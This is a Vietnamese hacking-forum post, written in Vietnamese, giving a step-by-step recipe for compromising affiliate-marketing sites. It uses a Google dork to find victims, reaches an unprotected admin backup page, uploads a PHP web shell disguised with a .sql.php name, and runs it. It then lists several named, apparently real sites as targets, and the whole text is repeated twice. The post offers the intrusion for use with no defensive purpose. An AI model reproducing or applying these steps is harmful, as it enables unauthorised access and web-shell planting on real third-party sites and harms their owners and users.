Admin
Well-Known Member
Staff member
Administrator
B1. Sử dụng dork sau vào google
allinurl:"index.php?Act=Merchants"
B2. Chọn 1 victim bất kỳ
http://www.vhmnetwork.com/index.php?Act=Merchants
B3. Thay đường path trên thành:
http://www.vhmnetwork.com/admin/backupstart.php
B4. Up shell có dang .sql.php, ví dụ: byg.sql.php
B5. Vào đường link sau để run shell
http://www.vhmnetwork.com/admin/dump/byg.sql.php
Một số site tìm được với dork trên:
http://www.vhmnetwork.com/admin/backupstart.php
http://www.commissionadda.in/admin/backupstart.php
http://revenueticket.com/affiliates/admin/backupstart.php
http://acrdo.co.uk/admin/backupstart.php
http://acrdo.co.uk/admin/backupstart.php
http://www.ig-affiliate.com/admin/backupstart.php
http://www.jig-saw.dk/admin/backupstart.php http://thinkmobimedia.com/admin/backupstart.php
allinurl:"index.php?Act=Merchants"
B2. Chọn 1 victim bất kỳ
http://www.vhmnetwork.com/index.php?Act=Merchants
B3. Thay đường path trên thành:
http://www.vhmnetwork.com/admin/backupstart.php
B4. Up shell có dang .sql.php, ví dụ: byg.sql.php
B5. Vào đường link sau để run shell
http://www.vhmnetwork.com/admin/dump/byg.sql.php
Một số site tìm được với dork trên:
http://www.vhmnetwork.com/admin/backupstart.php
http://www.commissionadda.in/admin/backupstart.php
http://revenueticket.com/affiliates/admin/backupstart.php
http://acrdo.co.uk/admin/backupstart.php
http://acrdo.co.uk/admin/backupstart.php
http://www.ig-affiliate.com/admin/backupstart.php
http://www.jig-saw.dk/admin/backupstart.php http://thinkmobimedia.com/admin/backupstart.php
